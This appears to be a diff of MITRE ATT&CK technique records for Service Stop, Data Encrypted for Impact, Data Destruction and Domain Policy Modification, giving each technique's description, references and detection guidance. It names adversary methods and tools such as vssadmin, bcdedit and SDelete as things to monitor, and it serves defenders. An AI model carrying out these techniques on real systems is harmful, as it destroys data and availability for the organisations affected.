Process Creation', 'Command: Command Execution', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'File: File Deletion']",,"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity. -Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage).","['Process: Process Creation', 'Command: Command Execution', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'File: File Deletion']","['Yonatan Gotlib, Deep Instinct']",,"['Administrator', 'root', 'SYSTEM', 'User']","['Windows', 'macOS', 'Linux']",,,,,,,['Availability'],,,,,,, -"[{'external_id': 'T1489', 'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1489'}, {'source_name': 'Talos Olympic Destroyer 2018', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.'}, {'source_name': 'Novetta Blockbuster', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', 'url': 'https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'}, {'source_name': 'SecureWorks WannaCry Analysis', 'url': 'https://www.secureworks.com/research/wcry-ransomware-analysis', 'description': 'Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.2,False,https://attack.mitre.org/techniques/T1489,mitre-attack,T1489,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Service Stop,"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) +Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage).",False,"['Administrator', 'root', 'SYSTEM', 'User']","['Windows', 'macOS', 'Linux']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1489', 'external_id': 'T1489'}, {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'}, {'source_name': 'Novetta Blockbuster', 'description': 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.', 'url': 'https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf'}, {'source_name': 'SecureWorks WannaCry Analysis', 'description': 'Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.', 'url': 'https://www.secureworks.com/research/wcry-ransomware-analysis'}]",1.2,attack-pattern,attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-03-29T19:00:55.901Z,2021-03-02T22:11:32.017Z,Service Stop,"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) -Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)",attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b,attack-pattern,['impact'],2021-03-02T22:11:32.017Z,2019-03-29T19:00:55.901Z,"Monitor processes and command-line arguments to see if critical processes are terminated or stop running. +Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)",['impact'],https://attack.mitre.org/techniques/T1489,mitre-attack,T1489,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Process: Process Termination']",,"Monitor processes and command-line arguments to see if critical processes are terminated or stop running. Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links. Alterations to the service binary path or the service startup type changed to disabled may be suspicious. -Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)","['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Process: Process Termination']",,,"['Administrator', 'SYSTEM', 'User']","['Windows', 'Linux', 'macOS']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1486', 'url': 'https://attack.mitre.org/techniques/T1486'}, {'source_name': 'US-CERT Ransomware 2016', 'url': 'https://www.us-cert.gov/ncas/alerts/TA16-091A', 'description': 'US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.'}, {'source_name': 'FireEye WannaCry 2017', 'url': 'https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html', 'description': 'Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.'}, {'source_name': 'US-CERT NotPetya 2017', 'url': 'https://www.us-cert.gov/ncas/alerts/TA17-181A', 'description': 'US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.'}, {'source_name': 'US-CERT SamSam 2018', 'url': 'https://www.us-cert.gov/ncas/alerts/AA18-337A', 'description': 'US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.'}, {'source_name': 'Rhino S3 Ransomware Part 1', 'url': 'https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/', 'description': 'Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.1,False,https://attack.mitre.org/techniques/T1486,mitre-attack,T1486,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Encrypted for Impact,"Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)",False,"['Administrator', 'SYSTEM', 'User']","['Windows', 'Linux', 'macOS']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1486', 'external_id': 'T1486'}, {'source_name': 'US-CERT Ransomware 2016', 'description': 'US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA16-091A'}, {'source_name': 'FireEye WannaCry 2017', 'description': 'Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html'}, {'source_name': 'US-CERT NotPetya 2017', 'description': 'US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA17-181A'}, {'source_name': 'US-CERT SamSam 2018', 'description': 'US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.', 'url': 'https://www.us-cert.gov/ncas/alerts/AA18-337A'}, {'source_name': 'Rhino S3 Ransomware Part 1', 'description': 'Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.', 'url': 'https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/'}]",1.2,attack-pattern,attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-03-15T13:59:30.390Z,2021-08-16T21:07:27.119Z,Data Encrypted for Impact,"Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) -In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)",attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0,attack-pattern,['impact'],2021-04-20T16:39:06.594Z,2019-03-15T13:59:30.390Z,"Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. +In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)",['impact'],https://attack.mitre.org/techniques/T1486,mitre-attack,T1486,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Oleg Kolesnikov, Securonix']","['Cloud Storage: Cloud Storage Metadata', 'Cloud Storage: Cloud Storage Modification', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']",,"Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection. -In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.","['Cloud Storage: Cloud Storage Metadata', 'Cloud Storage: Cloud Storage Modification', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']","['Oleg Kolesnikov, Securonix']",,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows', 'IaaS']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1485', 'url': 'https://attack.mitre.org/techniques/T1485'}, {'description': 'Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.', 'url': 'https://www.symantec.com/connect/blogs/shamoon-attacks', 'source_name': 'Symantec Shamoon 2012'}, {'url': 'https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html', 'description': 'FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.', 'source_name': 'FireEye Shamoon Nov 2016'}, {'url': 'http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/', 'description': 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', 'source_name': 'Palo Alto Shamoon Nov 2016'}, {'source_name': 'Kaspersky StoneDrill 2017', 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf', 'description': 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'}, {'description': 'Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/', 'source_name': 'Unit 42 Shamoon3 2018'}, {'source_name': 'Talos Olympic Destroyer 2018', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.'}, {'source_name': 'Data Destruction - Threat Post', 'url': 'https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/', 'description': 'Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.'}, {'source_name': 'DOJ - Cisco Insider', 'url': 'https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network', 'description': 'DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.1,False,https://attack.mitre.org/techniques/T1485,mitre-attack,T1485,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Destruction,"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. +In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.",False,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows', 'IaaS']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1485', 'external_id': 'T1485'}, {'source_name': 'Symantec Shamoon 2012', 'description': 'Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.', 'url': 'https://www.symantec.com/connect/blogs/shamoon-attacks'}, {'source_name': 'FireEye Shamoon Nov 2016', 'description': 'FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html'}, {'source_name': 'Palo Alto Shamoon Nov 2016', 'description': 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/'}, {'source_name': 'Kaspersky StoneDrill 2017', 'description': 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.', 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf'}, {'source_name': 'Unit 42 Shamoon3 2018', 'description': 'Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/'}, {'source_name': 'Talos Olympic Destroyer 2018', 'description': 'Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.', 'url': 'https://blog.talosintelligence.com/2018/02/olympic-destroyer.html'}, {'source_name': 'Data Destruction - Threat Post', 'description': 'Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.', 'url': 'https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/'}, {'source_name': 'DOJ - Cisco Insider', 'description': 'DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020.', 'url': 'https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network'}]",1.1,attack-pattern,attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-03-14T18:47:17.701Z,2021-03-25T14:47:48.728Z,Data Destruction,"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018). -In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)",attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c,attack-pattern,['impact'],2021-03-25T14:47:48.728Z,2019-03-14T18:47:17.701Z,"Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\. +In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)",['impact'],https://attack.mitre.org/techniques/T1485,mitre-attack,T1485,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Brent Murphy, Elastic', 'David French, Elastic', 'Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Varonis Threat Labs']","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Deletion', 'Image: Image Deletion', 'Instance: Instance Deletion', 'Snapshot: Snapshot Deletion', 'Cloud Storage: Cloud Storage Deletion', 'Volume: Volume Deletion']",,"Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\. -In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Deletion', 'Image: Image Deletion', 'Instance: Instance Deletion', 'Snapshot: Snapshot Deletion', 'Cloud Storage: Cloud Storage Deletion', 'Volume: Volume Deletion']","['Brent Murphy, Elastic', 'David French, Elastic', 'Syed Ummar Farooqh, McAfee', 'Prasad Somasamudram, McAfee', 'Sekhar Sarukkai, McAfee ', 'Varonis Threat Labs']",,"['User', 'Administrator', 'root', 'SYSTEM']","['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1484', 'url': 'https://attack.mitre.org/techniques/T1484'}, {'source_name': 'ADSecurity GPO Persistence 2016', 'url': 'https://adsecurity.org/?p=2716', 'description': 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.'}, {'description': 'Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.', 'url': 'https://wald0.com/?p=179', 'source_name': 'Wald0 Guide to GPOs'}, {'source_name': 'Harmj0y Abusing GPO Permissions', 'url': 'http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/', 'description': 'Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.'}, {'source_name': 'Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.'}, {'source_name': 'Microsoft - Azure Sentinel ADFSDomainTrustMods', 'url': 'https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml', 'description': 'Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.'}, {'source_name': 'Microsoft 365 Defender Solorigate', 'url': 'https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/', 'description': 'Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.'}, {'source_name': 'Sygnia Golden SAML', 'url': 'https://www.sygnia.co/golden-saml-advisory', 'description': 'Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.'}, {'source_name': 'CISA SolarWinds Cloud Detection', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-008a', 'description': 'CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.'}, {'source_name': 'Microsoft - Update or Repair Federated domain', 'url': 'https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365', 'description': 'Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",2.0,False,https://attack.mitre.org/techniques/T1484,mitre-attack,T1484,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain Policy Modification,"Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts. +In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.",False,"['User', 'Administrator', 'root', 'SYSTEM']","['Windows', 'IaaS', 'Linux', 'macOS']",,,,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1484', 'external_id': 'T1484'}, {'source_name': 'ADSecurity GPO Persistence 2016', 'description': 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.', 'url': 'https://adsecurity.org/?p=2716'}, {'source_name': 'Wald0 Guide to GPOs', 'description': 'Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019.', 'url': 'https://wald0.com/?p=179'}, {'source_name': 'Harmj0y Abusing GPO Permissions', 'description': 'Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.', 'url': 'http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/'}, {'source_name': 'Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks', 'description': 'MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.', 'url': 'https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/'}, {'source_name': 'Microsoft - Azure Sentinel ADFSDomainTrustMods', 'description': 'Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.', 'url': 'https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml'}, {'source_name': 'Microsoft 365 Defender Solorigate', 'description': 'Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/'}, {'source_name': 'Sygnia Golden SAML', 'description': 'Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.', 'url': 'https://www.sygnia.co/golden-saml-advisory'}, {'source_name': 'CISA SolarWinds Cloud Detection', 'description': 'CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-008a'}, {'source_name': 'Microsoft - Update or Repair Federated domain', 'description': 'Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.', 'url': 'https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365'}]",2.0,attack-pattern,attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-03-07T14:10:32.650Z,2021-02-09T15:52:24.598Z,Domain Policy Modification,"Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts. With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO 